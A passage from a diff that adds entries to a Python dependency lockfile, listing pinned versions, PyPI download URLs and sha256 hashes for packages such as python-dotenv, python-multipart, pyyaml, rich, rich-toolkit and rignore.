"sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" }, +] + +[[package]] +name = "python-dotenv" +version = "1.2.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" }, +] + +[[package]] +name = "python-multipart" +version = "0.0.26" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/88/71/b145a380824a960ebd60e1014256dbb7d2253f2316ff2d73dfd8928ec2c3/python_multipart-0.0.26.tar.gz", hash = "sha256:08fadc45918cd615e26846437f50c5d6d23304da32c341f289a617127b081f17", size = 43501, upload-time = "2026-04-10T14:09:59.473Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9a/22/f1925cdda983ab66fc8ec6ec8014b959262747e58bdca26a4e3d1da29d56/python_multipart-0.0.26-py3-none-any.whl", hash = "sha256:c0b169f8c4484c13b0dcf2ef0ec3a4adb255c4b7d18d8e420477d2b1dd03f185", size = 28847, upload-time = "2026-04-10T14:09:58.131Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/05/8e/961c0007c59b8dd7729d542c61a4d537767a59645b82a0b521206e1e25c2/pyyaml-6.0.3.tar.gz", hash = "sha256:d76623373421df22fb4cf8817020cbb7ef15c725b9d5e45f17e189bfc384190f", size = 130960, upload-time = "2025-09-25T21:33:16.546Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/33/422b98d2195232ca1826284a76852ad5a86fe23e31b009c9886b2d0fb8b2/pyyaml-6.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:7f047e29dcae44602496db43be01ad42fc6f1cc0d8cd6c83d342306c32270196", size = 182063, upload-time = "2025-09-25T21:32:11.445Z" }, + { url = "https://files.pythonhosted.org/packages/89/a0/6cf41a19a1f2f3feab0e9c0b74134aa2ce6849093d5517a0c550fe37a648/pyyaml-6.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:fc09d0aa354569bc501d4e787133afc08552722d3ab34836a80547331bb5d4a0", size = 173973, upload-time = "2025-09-25T21:32:12.492Z" }, + { url = "https://files.pythonhosted.org/packages/ed/23/7a778b6bd0b9a8039df8b1b1d80e2e2ad78aa04171592c8a5c43a56a6af4/pyyaml-6.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9149cad251584d5fb4981be1ecde53a1ca46c891a79788c0df828d2f166bda28", size = 775116, upload-time = "2025-09-25T21:32:13.652Z" }, + { url = "https://files.pythonhosted.org/packages/65/30/d7353c338e12baef4ecc1b09e877c1970bd3382789c159b4f89d6a70dc09/pyyaml-6.0.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:5fdec68f91a0c6739b380c83b951e2c72ac0197ace422360e6d5a959d8d97b2c", size = 844011, upload-time = "2025-09-25T21:32:15.21Z" }, + { url = "https://files.pythonhosted.org/packages/8b/9d/b3589d3877982d4f2329302ef98a8026e7f4443c765c46cfecc8858c6b4b/pyyaml-6.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ba1cc08a7ccde2d2ec775841541641e4548226580ab850948cbfda66a1befcdc", size = 807870, upload-time = "2025-09-25T21:32:16.431Z" }, + { url = "https://files.pythonhosted.org/packages/05/c0/b3be26a015601b822b97d9149ff8cb5ead58c66f981e04fedf4e762f4bd4/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:8dc52c23056b9ddd46818a57b78404882310fb473d63f17b07d5c40421e47f8e", size = 761089, upload-time = "2025-09-25T21:32:17.56Z" }, + { url = "https://files.pythonhosted.org/packages/be/8e/98435a21d1d4b46590d5459a22d88128103f8da4c2d4cb8f14f2a96504e1/pyyaml-6.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41715c910c881bc081f1e8872880d3c650acf13dfa8214bad49ed4cede7c34ea", size = 790181, upload-time = "2025-09-25T21:32:18.834Z" }, + { url = "https://files.pythonhosted.org/packages/74/93/7baea19427dcfbe1e5a372d81473250b379f04b1bd3c4c5ff825e2327202/pyyaml-6.0.3-cp312-cp312-win32.whl", hash = "sha256:96b533f0e99f6579b3d4d4995707cf36df9100d67e0c8303a0c55b27b5f99bc5", size = 137658, upload-time = "2025-09-25T21:32:20.209Z" }, + { url = "https://files.pythonhosted.org/packages/86/bf/899e81e4cce32febab4fb42bb97dcdf66bc135272882d1987881a4b519e9/pyyaml-6.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:5fcd34e47f6e0b794d17de1b4ff496c00986e1c83f7ab2fb8fcfe9616ff7477b", size = 154003, upload-time = "2025-09-25T21:32:21.167Z" }, + { url = "https://files.pythonhosted.org/packages/1a/08/67bd04656199bbb51dbed1439b7f27601dfb576fb864099c7ef0c3e55531/pyyaml-6.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:64386e5e707d03a7e172c0701abfb7e10f0fb753ee1d773128192742712a98fd", size = 140344, upload-time = "2025-09-25T21:32:22.617Z" }, + { url = "https://files.pythonhosted.org/packages/d1/11/0fd08f8192109f7169db964b5707a2f1e8b745d4e239b784a5a1dd80d1db/pyyaml-6.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:8da9669d359f02c0b91ccc01cac4a67f16afec0dac22c2ad09f46bee0697eba8", size = 181669, upload-time = "2025-09-25T21:32:23.673Z" }, + { url = "https://files.pythonhosted.org/packages/b1/16/95309993f1d3748cd644e02e38b75d50cbc0d9561d21f390a76242ce073f/pyyaml-6.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:2283a07e2c21a2aa78d9c4442724ec1eb15f5e42a723b99cb3d822d48f5f7ad1", size = 173252, upload-time = "2025-09-25T21:32:25.149Z" }, + { url = "https://files.pythonhosted.org/packages/50/31/b20f376d3f810b9b2371e72ef5adb33879b25edb7a6d072cb7ca0c486398/pyyaml-6.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ee2922902c45ae8ccada2c5b501ab86c36525b883eff4255313a253a3160861c", size = 767081, upload-time = "2025-09-25T21:32:26.575Z" }, + { url = "https://files.pythonhosted.org/packages/49/1e/a55ca81e949270d5d4432fbbd19dfea5321eda7c41a849d443dc92fd1ff7/pyyaml-6.0.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a33284e20b78bd4a18c8c2282d549d10bc8408a2a7ff57653c0cf0b9be0afce5", size = 841159, upload-time = "2025-09-25T21:32:27.727Z" }, + { url = "https://files.pythonhosted.org/packages/74/27/e5b8f34d02d9995b80abcef563ea1f8b56d20134d8f4e5e81733b1feceb2/pyyaml-6.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0f29edc409a6392443abf94b9cf89ce99889a1dd5376d94316ae5145dfedd5d6", size = 801626, upload-time = "2025-09-25T21:32:28.878Z" }, + { url = "https://files.pythonhosted.org/packages/f9/11/ba845c23988798f40e52ba45f34849aa8a1f2d4af4b798588010792ebad6/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:f7057c9a337546edc7973c0d3ba84ddcdf0daa14533c2065749c9075001090e6", size = 753613, upload-time = "2025-09-25T21:32:30.178Z" }, + { url = "https://files.pythonhosted.org/packages/3d/e0/7966e1a7bfc0a45bf0a7fb6b98ea03fc9b8d84fa7f2229e9659680b69ee3/pyyaml-6.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:eda16858a3cab07b80edaf74336ece1f986ba330fdb8ee0d6c0d68fe82bc96be", size = 794115, upload-time = "2025-09-25T21:32:31.353Z" }, + { url = "https://files.pythonhosted.org/packages/de/94/980b50a6531b3019e45ddeada0626d45fa85cbe22300844a7983285bed3b/pyyaml-6.0.3-cp313-cp313-win32.whl", hash = "sha256:d0eae10f8159e8fdad514efdc92d74fd8d682c933a6dd088030f3834bc8e6b26", size = 137427, upload-time = "2025-09-25T21:32:32.58Z" }, + { url = "https://files.pythonhosted.org/packages/97/c9/39d5b874e8b28845e4ec2202b5da735d0199dbe5b8fb85f91398814a9a46/pyyaml-6.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:79005a0d97d5ddabfeeea4cf676af11e647e41d81c9a7722a193022accdb6b7c", size = 154090, upload-time = "2025-09-25T21:32:33.659Z" }, + { url = "https://files.pythonhosted.org/packages/73/e8/2bdf3ca2090f68bb3d75b44da7bbc71843b19c9f2b9cb9b0f4ab7a5a4329/pyyaml-6.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:5498cd1645aa724a7c71c8f378eb29ebe23da2fc0d7a08071d89469bf1d2defb", size = 140246, upload-time = "2025-09-25T21:32:34.663Z" }, + { url = "https://files.pythonhosted.org/packages/9d/8c/f4bd7f6465179953d3ac9bc44ac1a8a3e6122cf8ada906b4f96c60172d43/pyyaml-6.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:8d1fab6bb153a416f9aeb4b8763bc0f22a5586065f86f7664fc23339fc1c1fac", size = 181814, upload-time = "2025-09-25T21:32:35.712Z" }, + { url = "https://files.pythonhosted.org/packages/bd/9c/4d95bb87eb2063d20db7b60faa3840c1b18025517ae857371c4dd55a6b3a/pyyaml-6.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:34d5fcd24b8445fadc33f9cf348c1047101756fd760b4dacb5c3e99755703310", size = 173809, upload-time = "2025-09-25T21:32:36.789Z" }, + { url = "https://files.pythonhosted.org/packages/92/b5/47e807c2623074914e29dabd16cbbdd4bf5e9b2db9f8090fa64411fc5382/pyyaml-6.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:501a031947e3a9025ed4405a168e6ef5ae3126c59f90ce0cd6f2bfc477be31b7", size = 766454, upload-time = "2025-09-25T21:32:37.966Z" }, + { url = "https://files.pythonhosted.org/packages/02/9e/e5e9b168be58564121efb3de6859c452fccde0ab093d8438905899a3a483/pyyaml-6.0.3-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b3bc83488de33889877a0f2543ade9f70c67d66d9ebb4ac959502e12de895788", size = 836355, upload-time = "2025-09-25T21:32:39.178Z" }, + { url = "https://files.pythonhosted.org/packages/88/f9/16491d7ed2a919954993e48aa941b200f38040928474c9e85ea9e64222c3/pyyaml-6.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c458b6d084f9b935061bc36216e8a69a7e293a2f1e68bf956dcd9e6cbcd143f5", size = 794175, upload-time = "2025-09-25T21:32:40.865Z" }, + { url = "https://files.pythonhosted.org/packages/dd/3f/5989debef34dc6397317802b527dbbafb2b4760878a53d4166579111411e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:7c6610def4f163542a622a73fb39f534f8c101d690126992300bf3207eab9764", size = 755228, upload-time = "2025-09-25T21:32:42.084Z" }, + { url = "https://files.pythonhosted.org/packages/d7/ce/af88a49043cd2e265be63d083fc75b27b6ed062f5f9fd6cdc223ad62f03e/pyyaml-6.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:5190d403f121660ce8d1d2c1bb2ef1bd05b5f68533fc5c2ea899bd15f4399b35", size = 789194, upload-time = "2025-09-25T21:32:43.362Z" }, + { url = "https://files.pythonhosted.org/packages/23/20/bb6982b26a40bb43951265ba29d4c246ef0ff59c9fdcdf0ed04e0687de4d/pyyaml-6.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:4a2e8cebe2ff6ab7d1050ecd59c25d4c8bd7e6f400f5f82b96557ac0abafd0ac", size = 156429, upload-time = "2025-09-25T21:32:57.844Z" }, + { url = "https://files.pythonhosted.org/packages/f4/f4/a4541072bb9422c8a883ab55255f918fa378ecf083f5b85e87fc2b4eda1b/pyyaml-6.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:93dda82c9c22deb0a405ea4dc5f2d0cda384168e466364dec6255b293923b2f3", size = 143912, upload-time = "2025-09-25T21:32:59.247Z" }, + { url = "https://files.pythonhosted.org/packages/7c/f9/07dd09ae774e4616edf6cda684ee78f97777bdd15847253637a6f052a62f/pyyaml-6.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:02893d100e99e03eda1c8fd5c441d8c60103fd175728e23e431db1b589cf5ab3", size = 189108, upload-time = "2025-09-25T21:32:44.377Z" }, + { url = "https://files.pythonhosted.org/packages/4e/78/8d08c9fb7ce09ad8c38ad533c1191cf27f7ae1effe5bb9400a46d9437fcf/pyyaml-6.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:c1ff362665ae507275af2853520967820d9124984e0f7466736aea23d8611fba", size = 183641, upload-time = "2025-09-25T21:32:45.407Z" }, + { url = "https://files.pythonhosted.org/packages/7b/5b/3babb19104a46945cf816d047db2788bcaf8c94527a805610b0289a01c6b/pyyaml-6.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6adc77889b628398debc7b65c073bcb99c4a0237b248cacaf3fe8a557563ef6c", size = 831901, upload-time = "2025-09-25T21:32:48.83Z" }, + { url = "https://files.pythonhosted.org/packages/8b/cc/dff0684d8dc44da4d22a13f35f073d558c268780ce3c6ba1b87055bb0b87/pyyaml-6.0.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:a80cb027f6b349846a3bf6d73b5e95e782175e52f22108cfa17876aaeff93702", size = 861132, upload-time = "2025-09-25T21:32:50.149Z" }, + { url = "https://files.pythonhosted.org/packages/b1/5e/f77dc6b9036943e285ba76b49e118d9ea929885becb0a29ba8a7c75e29fe/pyyaml-6.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:00c4bdeba853cc34e7dd471f16b4114f4162dc03e6b7afcc2128711f0eca823c", size = 839261, upload-time = "2025-09-25T21:32:51.808Z" }, + { url = "https://files.pythonhosted.org/packages/ce/88/a9db1376aa2a228197c58b37302f284b5617f56a5d959fd1763fb1675ce6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:66e1674c3ef6f541c35191caae2d429b967b99e02040f5ba928632d9a7f0f065", size = 805272, upload-time = "2025-09-25T21:32:52.941Z" }, + { url = "https://files.pythonhosted.org/packages/da/92/1446574745d74df0c92e6aa4a7b0b3130706a4142b2d1a5869f2eaa423c6/pyyaml-6.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:16249ee61e95f858e83976573de0f5b2893b3677ba71c9dd36b9cf8be9ac6d65", size = 829923, upload-time = "2025-09-25T21:32:54.537Z" }, + { url = "https://files.pythonhosted.org/packages/f0/7a/1c7270340330e575b92f397352af856a8c06f230aa3e76f86b39d01b416a/pyyaml-6.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4ad1906908f2f5ae4e5a8ddfce73c320c2a1429ec52eafd27138b7f1cbe341c9", size = 174062, upload-time = "2025-09-25T21:32:55.767Z" }, + { url = "https://files.pythonhosted.org/packages/f1/12/de94a39c2ef588c7e6455cfbe7343d3b2dc9d6b6b2f40c4c6565744c873d/pyyaml-6.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:ebc55a14a21cb14062aa4162f906cd962b28e2e9ea38f9b4391244cd8de4ae0b", size = 149341, upload-time = "2025-09-25T21:32:56.828Z" }, +] + +[[package]] +name = "rich" +version = "15.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markdown-it-py" }, + { name = "pygments" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c0/8f/0722ca900cc807c13a6a0c696dacf35430f72e0ec571c4275d2371fca3e9/rich-15.0.0.tar.gz", hash = "sha256:edd07a4824c6b40189fb7ac9bc4c52536e9780fbbfbddf6f1e2502c31b068c36", size = 230680, upload-time = "2026-04-12T08:24:00.75Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/3b/64d4899d73f91ba49a8c18a8ff3f0ea8f1c1d75481760df8c68ef5235bf5/rich-15.0.0-py3-none-any.whl", hash = "sha256:33bd4ef74232fb73fe9279a257718407f169c09b78a87ad3d296f548e27de0bb", size = 310654, upload-time = "2026-04-12T08:24:02.83Z" }, +] + +[[package]] +name = "rich-toolkit" +version = "0.19.7" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "click" }, + { name = "rich" }, + { name = "typing-extensions" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/42/ba/dae9e3096651042754da419a4042bc1c75e07d615f9b15066d738838e4df/rich_toolkit-0.19.7.tar.gz", hash = "sha256:133c0915872da91d4c25d85342d5ec1dfacc69b63448af1a08a0d4b4f23ef46e", size = 195877, upload-time = "2026-02-24T16:06:20.555Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/3c/c923619f6d2f5fafcc96fec0aaf9550a46cd5b6481f06e0c6b66a2a4fed0/rich_toolkit-0.19.7-py3-none-any.whl", hash = "sha256:0288e9203728c47c5a4eb60fd2f0692d9df7455a65901ab6f898437a2ba5989d", size = 32963, upload-time = "2026-02-24T16:06:22.066Z" }, +] + +[[package]] +name = "rignore" +version = "0.7.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/e5/f5/8bed2310abe4ae04b67a38374a4d311dd85220f5d8da56f47ae9361be0b0/rignore-0.7.6.tar.gz", hash = "sha256:00d3546cd793c30cb17921ce674d2c8f3a4b00501cb0e3dd0e82217dbeba2671", size = 57140, upload-time = "2025-11-05T21:41:21.968Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/0b/0e/012556ef3047a2628842b44e753bb15f4dc46806780ff090f1e8fe4bf1eb/rignore-0.7.6-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:03e82348cb7234f8d9b2834f854400ddbbd04c0f8f35495119e66adbd37827a8", size = 883488, upload-time = "2025-11-05T20:42:41.359Z" }, + { url = "https://files.pythonhosted.org/packages/93/b0/d4f1f3fe9eb3f8e382d45ce5b0547ea01c4b7e0b4b4eb87bcd66a1d2b888/rignore-0.7.6-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b9e624f6be6116ea682e76c5feb71ea91255c67c86cb75befe774365b2931961", size = 820411, upload-time = "2025-11-05T20:42:24.782Z" }, + { url = "https://files.pythonhosted.org/packages/4a/c8/dea564b36dedac8de21c18e1851789545bc52a0c22ece9843444d5608a6a/rignore-0.7.6-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:bda49950d405aa8d0ebe26af807c4e662dd281d926530f03f29690a2e07d649a", size = 897821, upload-time = "2025-11-05T20:40:52.613Z" }, + { url = "https://files.pythonhosted.org/packages/b3/2b/ee96db17ac1835e024c5d0742eefb7e46de60020385ac883dd3d1cde2c1f/rignore-0.7.6-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b5fd5ab3840b8c16851d327ed06e9b8be6459702a53e5ab1fc4073b684b3789e", size = 873963, upload-time = "2025-11-05T20:41:07.49Z" }, + { url = "https://files.pythonhosted.org/packages/a5/8c/ad5a57bbb9d14d5c7e5960f712a8a0b902472ea3f4a2138cbf70d1777b75/rignore-0.7.6-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ced2a248352636a5c77504cb755dc02c2eef9a820a44d3f33061ce1bb8a7f2d2", size = 1169216, upload-time = "2025-11-05T20:41:23.73Z" }, + { url = "https://files.pythonhosted.org/packages/80/e6/5b00bc2a6bc1701e6878fca798cf5d9125eb3113193e33078b6fc0d99123/rignore-0.7.6-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:a04a3b73b75ddc12c9c9b21efcdaab33ca3832941d6f1d67bffd860941cd448a", size = 942942, upload-time = "2025-11-05T20:41:39.393Z" }, + { url = "https://files.pythonhosted.org/packages/85/e5/7f99bd0cc9818a91d0e8b9acc65b792e35750e3bdccd15a7ee75e64efca4/rignore-0.7.6-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d24321efac92140b7ec910ac7c53ab0f0c86a41133d2bb4b0e6a7c94967f44dd", size = 959787, upload-time = "2025-11-05T20:42:09.765Z" }, + { url = "https://files.pythonhosted.org/packages/55/54/2ffea79a7c1eabcede1926347ebc2a81bc6b81f447d05b52af9af14948b9/rignore-0.7.6-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:73c7aa109d41e593785c55fdaa89ad80b10330affa9f9d3e3a51fa695f739b20", size = 984245, upload-time = "2025-11-05T20:41:54.062Z" }, + { url = "https://files.pythonhosted.org/packages/41/f7/e80f55dfe0f35787fa482aa18689b9c8251e045076c35477deb0007b3277/rignore-0.7.6-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1734dc49d1e9501b07852ef44421f84d9f378da9fbeda729e77db71f49cac28b", size = 1078647, upload-time = "2025-11-05T21:40:13.463Z" }, + { url = "https://files.pythonhosted.org/packages/d4/cf/2c64f0b6725149f7c6e7e5a909d14354889b4beaadddaa5fff023ec71084/rignore-0.7.6-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5719ea14ea2b652c0c0894be5dfde954e1853a80dea27dd2fbaa749618d837f5", size = 1139186, upload-time = "2025-11-05T21:40:31.27Z" }, + { url = "https://files.pythonhosted.org/packages/75/95/a86c84909ccc24af0d094b50d54697951e576c252a4d9f21b47b52af9598/rignore-0.7.6-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:8e23424fc7ce35726854f639cb7968151a792c0c3d9d082f7f67e0c362cfecca", size = 1117604, upload-time = "2025-11-05T21:40:48.07Z" }, + { url = "https://files.pythonhosted.org/packages/7f/5e/13b249613fd5d18d58662490ab910a9f0be758981d1797789913adb4e918/rignore-0.7.6-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3efdcf1dd84d45f3e2bd2f93303d9be103888f56dfa7c3349b5bf4f0657ec696", size = 1127725, upload-time = "2025-11-05T21:41:05.804Z" }, + { url = "https://files.pythonhosted.org/packages/c7/28/fa5dcd1e2e16982c359128664e3785f202d3eca9b22dd0b2f91c4b3d242f/rignore-0.7.6-cp312-cp312-win32.whl", hash = "sha256:ccca9d1a8b5234c76b71546fc3c134533b013f40495f394a65614a81f7387046", size = 646145, upload-time = "2025-11-05T21:41:51.096Z" }, + { url = "https://files.pythonhosted.org/packages/26/87/69387fb5dd81a0f771936381431780b8cf66fcd2cfe9495e1aaf41548931/rignore-0.7.6-cp312-cp312-win_amd64.whl", hash = "sha256:c96a285e4a8bfec0652e0bfcf42b1aabcdda1e7625f5006d188e3b1c87fdb543", size = 726090, upload-time = "2025-11-05T21:41:36.485Z" }, + { url = "https://files.pythonhosted.org/packages/24/5f/e8418108dcda8087fb198a6f81caadbcda9fd115d61154bf0df4d6d3619b/rignore-0.7.6-cp312-cp312-win_arm64.whl", hash = "sha256:a64a750e7a8277a323f01ca50b7784a764845f6cce2fe38831cb93f0508d0051", size = 656317, upload-time = "2025-11-05T21:41:25.305Z" }, + { url = "https://files.pythonhosted.org/packages/b7/8a/a4078f6e14932ac7edb171149c481de29969d96ddee3ece5dc4c26f9e0c3/rignore-0.7.6-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:2bdab1d31ec9b4fb1331980ee49ea051c0d7f7bb6baa28b3125ef03cdc48fdaf", size = 883057, upload-time = "2025-11-05T20:42:42.741Z" }, + { url = "https://files.pythonhosted.org/packages/f9/8f/f8daacd177db4bf7c2223bab41e630c52711f8af9ed279be2058d2fe4982/rignore-0.7.6-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:90f0a00ce0c866c275bf888271f1dc0d2140f29b82fcf33cdbda1e1a6af01010", size = 820150, upload-time = "2025-11-05T20:42:26.545Z" }, + { url = "https://files.pythonhosted.org/packages/36/31/b65b837e39c3f7064c426754714ac633b66b8c2290978af9d7f513e14aa9/rignore-0.7.6-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c1ad295537041dc2ed4b540fb1a3906bd9ede6ccdad3fe79770cd89e04e3c73c", size = 897406, upload-time = "2025-11-05T20:40:53.854Z" }, + { url = "https://files.pythonhosted.org/packages/ca/58/1970ce006c427e202ac7c081435719a076c478f07b3a23f469227788dc23/rignore-0.7.6-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f782dbd3a65a5ac85adfff69e5c6b101285ef3f845c3a3cae56a54bebf9fe116", size = 874050, upload-time = "2025-11-05T20:41:08.922Z" }, + { url = "https://files.pythonhosted.org/packages/d4/00/eb45db9f90137329072a732273be0d383cb7d7f50ddc8e0bceea34c1dfdf/rignore-0.7.6-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:65cece3b36e5b0826d946494734c0e6aaf5a0337e18ff55b071438efe13d559e", size = 1167835, upload-time = "2025-11-05T20:41:24.997Z" }, + { url = "https://files.pythonhosted.org/packages/f3/f1/6f1d72ddca41a64eed569680587a1236633587cc9f78136477ae69e2c88a/rignore-0.7.6-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d7e4bb66c13cd7602dc8931822c02dfbbd5252015c750ac5d6152b186f0a8be0", size = 941945, upload-time = "2025-11-05T20:41:40.628Z" }, + { url = "https://files.pythonhosted.org/packages/48/6f/2f178af1c1a276a065f563ec1e11e7a9e23d4996fd0465516afce4b5c636/rignore-0.7.6-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:297e500c15766e196f68aaaa70e8b6db85fa23fdc075b880d8231fdfba738cd7", size = 959067, upload-time = "2025-11-05T20:42:11.09Z" }, + { url = "https://files.pythonhosted.org/packages/5b/db/423a81c4c1e173877c7f9b5767dcaf1ab50484a94f60a0b2ed78be3fa765/rignore-0.7.6-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:a07084211a8d35e1a5b1d32b9661a5ed20669970b369df0cf77da3adea3405de", size = 984438, upload-time = "2025-11-05T20:41:55.443Z" }, + { url = "https://files.pythonhosted.org/packages/31/eb/c4f92cc3f2825d501d3c46a244a671eb737fc1bcf7b05a3ecd34abb3e0d7/rignore-0.7.6-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:181eb2a975a22256a1441a9d2f15eb1292839ea3f05606620bd9e1938302cf79", size = 1078365, upload-time = "2025-11-05T21:40:15.148Z" }, + { url = "https://files.pythonhosted.org/packages/26/09/99442f02794bd7441bfc8ed1c7319e890449b816a7493b2db0e30af39095/rignore-0.7.6-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:7bbcdc52b5bf9f054b34ce4af5269df5d863d9c2456243338bc193c28022bd7b", size = 1139066, upload-time = "2025-11-05T21:40:32.771Z" }, + { url = "https://files.pythonhosted.org/packages/2c/88/bcfc21e520bba975410e9419450f4b90a2ac8236b9a80fd8130e87d098af/rignore-0.7.6-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:f2e027a6da21a7c8c0d87553c24ca5cc4364def18d146057862c23a96546238e", size = 1118036, upload-time = "2025-11-05T21:40:49.646Z" }, + { url = "https://files.pythonhosted.org/packages/e2/25/d37215e4562cda5c13312636393aea0bafe38d54d4e0517520a4cc0753ec/rignore-0.7.6-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ee4a18b82cbbc648e4aac1510066682fe62beb5dc88e2c67c53a83954e541360", size = 1127550, upload-time = "2025-11-05T21:41:07.648Z" }, + { url = "https://files.pythonhosted.org/packages/dc/76/a264ab38bfa1620ec12a8ff1c07778da89e16d8c0f3450b0333020d3d6dc/rignore-0.7.6-cp313-cp313-win32.whl", hash = "sha256:a7d7148b6e5e95035d4390396895adc384d37ff4e06781a36fe573bba7c283e5", size = 646097, upload-time = "2025-11-05T21:41:53.201Z" }, + { url = "https://files.pythonhosted.org/packages/62/44/3c31b8983c29ea8832b6082ddb1d07b90379c2d993bd20fce4487b71b4f4/rignore-0.7.6-cp313-cp313-win_amd64.whl", hash = "sha256:b037c4b15a64dced08fc12310ee844ec2284c4c5c1ca77bc37d0a04f7bff386e", size = 726170, upload-time = "2025-11-05T21:41:38.131Z" }, + { url = "https://files.pythonhosted.org/packages/aa/41/e26a075cab83debe41a42661262f606166157df84e0e02e2d904d134c0d8/rignore-0.7.6-cp313-cp313-win_arm64.whl", hash = 